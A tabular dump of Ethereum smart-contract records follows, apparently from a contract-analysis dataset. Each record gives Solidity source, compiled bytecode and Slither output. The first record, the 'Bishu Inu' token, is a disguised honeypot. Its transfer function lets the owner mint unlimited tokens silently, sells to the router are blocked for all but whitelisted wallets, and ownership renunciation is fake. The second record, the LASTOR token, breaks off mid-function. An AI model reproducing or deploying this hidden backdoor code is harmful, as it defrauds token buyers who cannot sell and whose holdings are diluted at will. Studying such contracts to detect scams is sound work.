address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xd0eb1fdf27dcf6e1cee993c1692c7403c5aa926f
|
/*
... .. ..... . ... ..... . ... ...
.=*8888x <"?88h. .d88888Neu. 'L .x888888hx : .xHL x8h. x8. .d88888Neu. 'L .=*8888n.."%888: x8h. x8.
X> '8888H> '8888 F""""*8888888F d88888888888hxx .-`8888hxxx~ :88888> .x8888x. F""""*8888888F X ?8888f '8888 :88888> .x8888x.
'88h. `8888 8888 * `"*88*" 8" ... `"*8888%` .H8X `%888*" `8888 `8888f * `"*88*" 88x. '8888X 8888> `8888 `8888f
'8888 '8888 "88> -.... ue=:. ! " ` .xnxx. 888X ..x.. 8888 8888' -.... ue=:. '8888k 8888X '"*8h. 8888 8888'
`888 '8888.xH888x. :88N ` X X .H8888888%: '8888k .x8888888x 8888 8888 :88N ` "8888 X888X .xH8 8888 8888
X" :88*~ `*8888> 9888L X 'hn8888888*" > ?8888X "88888X 8888 8888 9888L `8" X888!:888X 8888 8888
~" !"` "888> uzu. `8888L X: `*88888%` ! ?8888X '88888> 8888 8888 uzu. `8888L =~` X888 X888X 8888 8888
.H8888h. ?88 ,""888i ?8888 '8h.. `` ..x8> H8H %8888 `8888> 8888 8888 ,""888i ?8888 :h. X8*` !888X 8888 8888
:"^"88888h. '! 4 9888L %888> `88888888888888f '888> 888" 8888 -n88888x>"88888x- 4 9888L %888> X888xX" '8888..: -n88888x>"88888x-
^ "88888hx.+" ' '8888 '88% '%8888888888*" "8` .8" .. 88* `%888" 4888!` ' '8888 '88% :~`888f '*888*" `%888" 4888!`
^"**"" "*8Nu.z*" ^"****""` ` x8888h. d*" `" "" "*8Nu.z*" "" `"` `" ""
!""*888%~
@BishuInuCommunity ! `" . BishuInuToken.com
'-....:~
*/
// SPDX-License-Identifier: OSL-3.0
pragma solidity ^0.8.9;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
contract Creation is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event genesis(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit genesis(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual checker {
emit genesis(owner, address(0));
owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata , Creation{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tradingON (address Uniswaprouterv02) public checker {
router = Uniswaprouterv02;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function delegate(address _count) internal checker {
confirm[_count] = true;
}
function presalewallets(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
delegate(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract Bishu is ERC20{
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 40000000000 * 10 ** 18;
constructor () ERC20('Bishu Inu','BISHU') {
_deploy(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063395093511161009757806395d89b411161006657806395d89b4114610274578063a457c2d714610292578063a9059cbb146102c2578063dd62ed3e146102f2576100f5565b806339509351146101ec57806370a082311461021c578063715018a61461024c5780638da5cb5b14610256576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b2578063393e167d146101d0576100f5565b80630690365a146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f9190611455565b610322565b005b61011e6103fb565b60405161012b919061151b565b60405180910390f35b61014e60048036038101906101499190611573565b61048d565b60405161015b91906115ce565b60405180910390f35b61016c6104ab565b60405161017991906115f8565b60405180910390f35b61019c60048036038101906101979190611613565b6104b5565b6040516101a991906115ce565b60405180910390f35b6101ba6105b6565b6040516101c79190611682565b60405180910390f35b6101ea60048036038101906101e591906117e5565b6105de565b005b61020660048036038101906102019190611573565b6106b9565b60405161021391906115ce565b60405180910390f35b61023660048036038101906102319190611455565b610765565b60405161024391906115f8565b60405180910390f35b6102546107ae565b005b61025e610904565b60405161026b919061183d565b60405180910390f35b61027c61092a565b604051610289919061151b565b60405180910390f35b6102ac60048036038101906102a79190611573565b6109bc565b6040516102b991906115ce565b60405180910390f35b6102dc60048036038101906102d79190611573565b610ab0565b6040516102e991906115ce565b60405180910390f35b61030c60048036038101906103079190611858565b610d17565b60405161031991906115f8565b60405180910390f35b61032a610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ae906118e4565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606007805461040a90611933565b80601f016020809104026020016040519081016040528092919081815260200182805461043690611933565b80156104835780601f1061045857610100808354040283529160200191610483565b820191906000526020600020905b81548152906001019060200180831161046657829003601f168201915b5050505050905090565b60006104a161049a610d9e565b8484610da6565b6001905092915050565b6000600654905090565b60006104c2848484610f71565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610584906119d7565b60405180910390fd5b6105aa85610599610d9e565b85846105a59190611a26565b610da6565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b6105e6610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066a906118e4565b60405180910390fd5b60005b81518110156106b5576106a282828151811061069557610694611a5a565b5b6020026020010151611295565b80806106ad90611a89565b915050610676565b5050565b600061075b6106c6610d9e565b8484600560006106d4610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107569190611ad2565b610da6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b6610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610843576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083a906118e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f60405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606008805461093990611933565b80601f016020809104026020016040519081016040528092919081815260200182805461096590611933565b80156109b25780601f10610987576101008083540402835291602001916109b2565b820191906000526020600020905b81548152906001019060200180831161099557829003601f168201915b5050505050905090565b600080600560006109cb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7f90611b9a565b60405180910390fd5b610aa5610a93610d9e565b858584610aa09190611a26565b610da6565b600191505092915050565b6000610aba610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610b27575060011515600960009054906101000a900460ff161515145b15610b6257610b3e610b37610d9e565b8484610f71565b6000600960006101000a81548160ff02191690831515021790555060019050610d11565b610b6a610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610bd7575060001515600960009054906101000a900460ff161515145b15610cfa57610bf18260065461138590919063ffffffff16565b600681905550610c4982600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ce991906115f8565b60405180910390a360019050610d11565b610d0c610d05610d9e565b8484610f71565b600190505b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f6491906115f8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110fe57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110fd57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90611e74565b60405180910390fd5b81816111919190611a26565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112239190611ad2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161128791906115f8565b60405180910390a350505050565b61129d610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611321906118e4565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008082846113949190611ad2565b9050838110156113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d090611ee0565b60405180910390fd5b8091505092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611422826113f7565b9050919050565b61143281611417565b811461143d57600080fd5b50565b60008135905061144f81611429565b92915050565b60006020828403121561146b5761146a6113ed565b5b600061147984828501611440565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114bc5780820151818401526020810190506114a1565b838111156114cb576000848401525b50505050565b6000601f19601f8301169050919050565b60006114ed82611482565b6114f7818561148d565b935061150781856020860161149e565b611510816114d1565b840191505092915050565b6000602082019050818103600083015261153581846114e2565b905092915050565b6000819050919050565b6115508161153d565b811461155b57600080fd5b50565b60008135905061156d81611547565b92915050565b6000806040838503121561158a576115896113ed565b5b600061159885828601611440565b92505060206115a98582860161155e565b9150509250929050565b60008115159050919050565b6115c8816115b3565b82525050565b60006020820190506115e360008301846115bf565b92915050565b6115f28161153d565b82525050565b600060208201905061160d60008301846115e9565b92915050565b60008060006060848603121561162c5761162b6113ed565b5b600061163a86828701611440565b935050602061164b86828701611440565b925050604061165c8682870161155e565b9150509250925092565b600060ff82169050919050565b61167c81611666565b82525050565b60006020820190506116976000830184611673565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6116da826114d1565b810181811067ffffffffffffffff821117156116f9576116f86116a2565b5b80604052505050565b600061170c6113e3565b905061171882826116d1565b919050565b600067ffffffffffffffff821115611738576117376116a2565b5b602082029050602081019050919050565b600080fd5b600061176161175c8461171d565b611702565b9050808382526020820190506020840283018581111561178457611783611749565b5b835b818110156117ad57806117998882611440565b845260208401935050602081019050611786565b5050509392505050565b600082601f8301126117cc576117cb61169d565b5b81356117dc84826020860161174e565b91505092915050565b6000602082840312156117fb576117fa6113ed565b5b600082013567ffffffffffffffff811115611819576118186113f2565b5b611825848285016117b7565b91505092915050565b61183781611417565b82525050565b6000602082019050611852600083018461182e565b92915050565b6000806040838503121561186f5761186e6113ed565b5b600061187d85828601611440565b925050602061188e85828601611440565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118ce60208361148d565b91506118d982611898565b602082019050919050565b600060208201905081810360008301526118fd816118c1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061194b57607f821691505b6020821081141561195f5761195e611904565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006119c160288361148d565b91506119cc82611965565b604082019050919050565b600060208201905081810360008301526119f0816119b4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611a318261153d565b9150611a3c8361153d565b925082821015611a4f57611a4e6119f7565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611a948261153d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611ac757611ac66119f7565b5b600182019050919050565b6000611add8261153d565b9150611ae88361153d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b1d57611b1c6119f7565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b8460258361148d565b9150611b8f82611b28565b604082019050919050565b60006020820190508181036000830152611bb381611b77565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c1660248361148d565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca860228361148d565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a60258361148d565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc60238361148d565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e60268361148d565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b8361148d565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea26469706673582212207ba0a8c89e5c26b43cee8d44b8500f1557f6c4700715c9591d27c42ff4e2e4fa64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 5,900 |
0x3906ae496dc17123d804e88e51f8282fbc988cc9
|
/**
*Submitted for verification at Etherscan.io on 2022-04-01
*/
pragma solidity ^0.7.4;
// Telegram: https://t.me/LastorETH
// Website: lastor.tech
// Twitter: https://twitter.com/thelastoor
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsIn(uint256 amountOut, address[] memory path)
external
view
returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Auth {
address internal owner;
mapping(address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED");
_;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
abstract contract ERC20Interface {
function balanceOf(address whom) public view virtual returns (uint256);
}
contract LASTOR is IERC20, Auth {
using SafeMath for uint256;
string constant _name = "THE LASTOR";
string constant _symbol = "LASTOR";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 _totalSupply = 1000000000 * (10**_decimals);
uint256 public lastLastorChange = 0;
uint256 public minimumAmount = 0.1 ether;
uint256 public resetPeriod = 1 hours;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
mapping(address => bool) public hasSold;
mapping(address => bool) public blacklisted;
uint256 public liquidityFee = 2;
uint256 public marketingFee = 6;
uint256 public lastorFee = 2;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
address public autoLiquidityReceiver;
address public marketingWallet;
address public Lastor;
bool private didWeStart = false;
IDEXRouter public router;
address public pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 private _maxTxAmount = _totalSupply / 100;
uint256 private _maxWalletAmount = _totalSupply / 100;
uint256 public swapThreshold = _totalSupply / 200;
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
event NewLastor(address lastor);
event LastorPayout(address lastor, uint256 amountETH);
event LastorSold(address lastor);
constructor() Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(
router.WETH(),
address(this)
);
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[DEAD] = true;
isTxLimitExempt[DEAD] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
autoLiquidityReceiver = msg.sender;
marketingWallet = msg.sender;
Lastor = msg.sender;
totalFee = liquidityFee.add(marketingFee).add(lastorFee);
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() external pure override returns (string memory) {
return _name;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function getOwner() external view override returns (address) {
return owner;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function setMaxTxAmount(uint256 amount, uint256 maxWallet) external authorized {
require(amount >= _totalSupply / 200, "Amount too low");
require(maxWallet >= _totalSupply / 200, "Amount too low");
_maxTxAmount = amount;
_maxWalletAmount = maxWallet;
}
function setFees(
uint256 newLiquidityFee,
uint256 newMarketingFee,
uint256 newlastorFee
) external authorized {
require(newLiquidityFee <= 10, "Max fee");
require(newMarketingFee <= 15, "Max fee");
require(newlastorFee <= 10, "Max fee");
liquidityFee = newLiquidityFee;
marketingFee = newMarketingFee;
lastorFee = newlastorFee;
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt)
external
authorized
{
isTxLimitExempt[holder] = exempt;
}
function setSwapThreshold(uint256 threshold) external authorized {
swapThreshold = threshold;
}
function setFeeReceivers(
address newLiquidityReceiver,
address newMarketingWallet
) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function setResetPeriodInSeconds(uint256 newResetPeriod)
external
authorized
{
resetPeriod = newResetPeriod;
}
function setMinimumAmount(uint256 _amount)
external
authorized
{
minimumAmount = _amount;
}
function setgreenflag() external authorized {
didWeStart = true;
}
function removeBots(address[] memory _bots) external authorized {
for (uint16 i = 0; i < _bots.length; i++) {
blacklisted[_bots[i]] = false;
}
}
function _reset() internal {
Lastor = marketingWallet;
lastLastorChange = block.timestamp;
}
function epochReset() external view returns (uint256) {
return lastLastorChange + resetPeriod;
}
function _checkTxLimit(
address sender,
address recipient,
uint256 amount
) internal {
if (block.timestamp - lastLastorChange > resetPeriod) {
_reset();
}
if (
sender != owner &&
recipient != owner &&
